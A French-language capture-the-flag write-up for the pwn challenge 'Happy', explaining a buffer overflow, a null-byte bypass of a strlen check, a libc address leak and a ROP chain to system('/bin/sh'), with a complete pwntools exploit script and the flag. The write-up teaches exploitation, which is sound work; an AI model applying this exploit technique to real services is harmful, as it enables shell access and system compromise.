4 min read

[CTF GEMA] Happy

CTF GEMA Groupe 2025

Niveau de Difficulté : Medium

Catégorie du Challenge : Pwn

Description :

Le programme vous encourage à poser des questions et à enrichir vos connaissances, mais derrière ses apparences courtoises se dissimule un défi nécessitant bien plus qu'une réponse banale. Ce qui peut sembler être une interaction anodine se métamorphose rapidement en une énigme à résoudre, sans quoi vous ne pourrez pas poursuivre votre chemin.

Steps to Solve

Buffer Overflow :

La vulnérabilité dans ce challenge est un buffer overflow, qui se produit parce que la fonction d'entrée ne valide pas correctement la longueur de la chaîne d'entrée. Voyons cela étape par étape pour comprendre comment la vulnérabilité fonctionne.

void input(char str[]) {
    int i = 0;
    int ch;
    while((ch = getchar()) != '\n' && ch != EOF) {
        str[i++] = ch;
    }
    str[i] = '\0';
}

La fonction input lit les caractères depuis l'entrée standard (getchar()) et les stocke dans le tampon str. Cependant, le tampon str n'est pas limité, et il n'y a aucune vérification pour s'assurer que l'entrée ne dépasse pas la taille du tampon. Cela permet à un attaquant de provoquer un buffer overflow en fournissant plus de données que la taille du tampon (64 octets, comme défini dans la fonction main).

Si l'attaquant entre plus de 64 octets, l'entrée écrasera la mémoire au-delà du tableau message alloué. Cela peut entraîner la corruption de parties critiques du programme, y compris les adresses de retour des fonctions, permettant l'exécution de code arbitraire.

Le morceau de code vulnérable se trouve dans la fonction main(), où le programme attend l'entrée de l'utilisateur :

char message[64];
printf("Welcome, traveler! Here's a token of my wisdom ✨ %p\n", puts);
printf("What knowledge do you seek? ");
input(message);

Contourner la vérification de longueur :

L'exploitation de cette vulnérabilité repose sur le contournement de la vérification de longueur, puis sur l'utilisation du buffer overflow. Initialement, la fonction d'entrée lit les caractères de l'entrée de l'utilisateur jusqu'à ce qu'elle rencontre un saut de ligne \n ou EOF. Cependant, la fonction strlen(message) ne compte les caractères que jusqu'à ce qu'elle rencontre un octet nul \x00.

En plaçant un octet nul à la position correcte dans l'entrée, nous pouvons faire en sorte que strlen retourne une valeur inférieure à 64, ce qui nous permet de contourner la vérification de longueur et d'atteindre la ligne return 0 dans la fonction main sans déclencher l'appel à exit(0). Cela nous permet d'exécuter notre chaîne ROP.

if(strlen(message) < 64){
        puts("Return when you're ready, wanderer.");
        return 0;
    }
    else{
        exit(0);
    }

Après avoir inséré l'octet nul, nous pouvons fournir une entrée supplémentaire qui dépasse la taille du tampon de 64 octets. Étant donné que la fonction d'entrée ne vérifie pas les limites une fois qu'elle a lu l'octet nul, elle continuera de lire les caractères jusqu'à ce qu'elle rencontre un saut de ligne, ce qui nous permet de provoquer un buffer overflow. Ce buffer overflow peut être exploité pour écraser des zones de mémoire critiques.

Pour détourner le flux de contrôle du programme, nous écrasons l'adresse de retour avec une chaîne ROP soigneusement construite. Cette chaîne est conçue pour appeler éventuellement la fonction system("/bin/sh"), ce qui nous permet de lancer un shell. Le payload commence par remplir le tampon jusqu'à 64 octets avec des A, et inclut un octet nul à la position appropriée pour contourner la vérification de longueur. Ensuite, le tampon est encore débordé, et l'adresse de retour est écrasée avec l'adresse d'un gadget ROP, spécifiquement le gadget pop r13, xchg rdi, ret, qui permet de configurer le registre rdi avec l'adresse de la chaîne "/bin/sh". Cela est suivi de l'adresse de la fonction system et de l'adresse de la fonction exit pour garantir que le programme se termine proprement après l'exécution du shell.

puts_leaked = int(r.recvuntil('\n').decode()[-15:], 16)

   rop = ROP([elf])
   pop_r13_xchg = 0x4011ce  # pop r14; xchg r14, rdi; ret;
  ret = rop.find_gadget(['ret'])[0]

   libc.address = puts_leaked - libc.sym.puts

   bin_sh = libc.search(b'/bin/sh').__next__()
   system = libc.sym.system
   exit = libc.sym.exit



   # Construct the payload
   payload = b'A' * 10           # Fill up to the 10-byte
   payload += b'\x00'            # Null byte to bypass strlen check
   payload += b'A' * 61          # Overflow the buffer beyond 64 bytes
   payload += p64(ret)           # Alignment to reach the return address
   payload += p64(pop_r13_xchg)  # Pop gadget to set up rdi
   payload += p64(bin_sh)        # Address of "/bin/sh"
   payload += p64(system)        # System call to execute /bin/sh
   payload += p64(exit)          # Exit to cleanly terminate the program

Une fois que le payload est envoyé, le programme lance un shell, donnant à l'attaquant un contrôle total sur le système. Cette exploitation démontre comment une vulnérabilité de buffer overflow, combinée avec un octet nul pour contourner une vérification de longueur, peut être utilisée pour exécuter du code arbitraire, conduisant finalement à la compromission du système cible.

Solve Code :

#!/usr/bin/env python3
from pwn import *
import warnings

warnings.filterwarnings("ignore")
context.log_level = "debug"
libc = None
elf = context.binary = ELF("./main")

def conn():
    global libc
    if args.LOCAL:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        libc = ELF("./DockerLibc/libc.so.6")
        r = remote("127.0.0.1", 1024)
    return r


def main():
    r = conn()

    puts_leaked = int(r.recvuntil('\n').decode()[-15:], 16)
    log.info(f'{hex(puts_leaked)=}')

    rop = ROP([elf])
    pop_r13_xchg = 0x4011ce # pop r14; xchg r14, rdi; ret;
    # pop_r13_xchg = rop.find_gadget(["pop r14", "xchg r14, rdi", "ret"])
    ret = rop.find_gadget(['ret'])[0]

    log.info(f'pop_r13_xchg : {hex(pop_r13_xchg)}')
    log.info(f'ret : {hex(ret)}')
    libc.address = puts_leaked - libc.sym.puts
    log.success(f'{hex(libc.address)=}')

    bin_sh = libc.search(b'/bin/sh').__next__()
    system = libc.sym.system
    exit = libc.sym.exit

    payload = b'A'*10 + b'\x00' + b'A'*61
    payload += p64(ret)
    payload += p64(pop_r13_xchg)
    payload += p64(bin_sh)
    payload += p64(system)
    payload += p64(exit)

    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Flag

FLAG{M4n1pul4t3_Th3_St4ck_T0_g3t_4_sh3ll}